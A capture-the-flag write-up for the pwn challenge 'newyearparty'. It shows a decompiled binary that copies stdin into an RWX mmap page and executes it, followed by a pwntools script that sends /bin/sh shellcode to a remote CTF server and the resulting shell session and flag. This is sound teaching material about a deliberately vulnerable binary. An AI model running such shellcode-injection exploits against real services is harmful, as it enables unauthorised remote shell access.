newyearparty
- Category
-
Pwn - Files
- task
- Description
- I came to a funny New Year's Eve party. You need to run /bin/newyear/
Inspecting the binary with checksec:
❯ checksec task Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: NoWhile NX is enabled, the binary’s behavior—as we’ll see in the analysis—is designed to explicitly bypass this protection by mapping its own executable memory region.
Program Analysis
In this challenge, we were given a binary named newyearparty. Let’s try to examine the decompiled code.
main
int main(void) { bool bVar1; char local_418[1032]; void (*local_10)(void);
// Map a page of memory with Read, Write, and Execute permissions local_10 = (void (*)())mmap((void *)0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
bVar1 = local_10 != (void *)MAP_FAILED;
if (bVar1) { puts("Help Santa and save the holiday"); fflush(stdout);
// Read up to 0x400 (1024) bytes from stdin if (fgets(local_418, 0x400, stdin) != NULL) { // Copy the input into the RXW memory strcpy((char *)local_10, local_418);
// Execute the shellcode local_10(); } } else { perror("mmap"); }
return !bVar1;}The main() function is straightforward but incredibly dangerous. It begins by using mmap() to allocate a page of memory with PROT_READ | PROT_WRITE | PROT_EXEC permissions—meaning anything written there can be executed.
It then prompts the user for input using fgets(), which reads up to 0x400 (1024) bytes. This input is then copied directly into the executable memory page via strcpy(). Finally, the program simply jumps to the start of that page and executes whatever we sent. This is a classic Shellcode Execution vulnerability.
Now that we know the bug, let’s move to the exploitation part.
Exploitation
Since the program executes our input directly, we just need to provide valid x64 shellcode. We can use pwntools to generate a standard /bin/sh shellcode, or specifically target the /bin/newyear/ path mentioned in the description.
Exploit Script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''init-pwndbgset follow-fork-mode parentset follow-exec-mode samecontinue'''.format(**locals())
exe = './task'elf = context.binary = ELF(exe, checksec=False)context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)def loglibc(): log.success('libc addr = %#x' % libc.address)def logbase(): log.success('pie addr = %#x' % elf.address)def sa(delim,data): return io.sendafter(delim,data)def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary# libc = ELF("./libc.so.6")# ld = ELF("./ld-2.27.so")
offset = 72
io = start()
shellcode = asm(shellcraft.sh())
sl(shellcode)
io.interactive()Running the script gives us an interactive shell on the server, allowing us to run /bin/newyear/ and get the flag.
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9075[+] Opening connection to ctf.mf.grsu.by on port 9075: Done[*] Switching to interactive modeHelp Santa and save the holiday$ iduid=999(ctf) gid=999(ctf) groups=999(ctf)$ /bin/newyeargrodno{S1ve_tH1_NeW_YeAr_fRoM_Gr1NCh1@(@#*#@!}$Flag: grodno{S1ve_tH1_NeW_YeAr_fRoM_Gr1NCh1@(@#*#@!}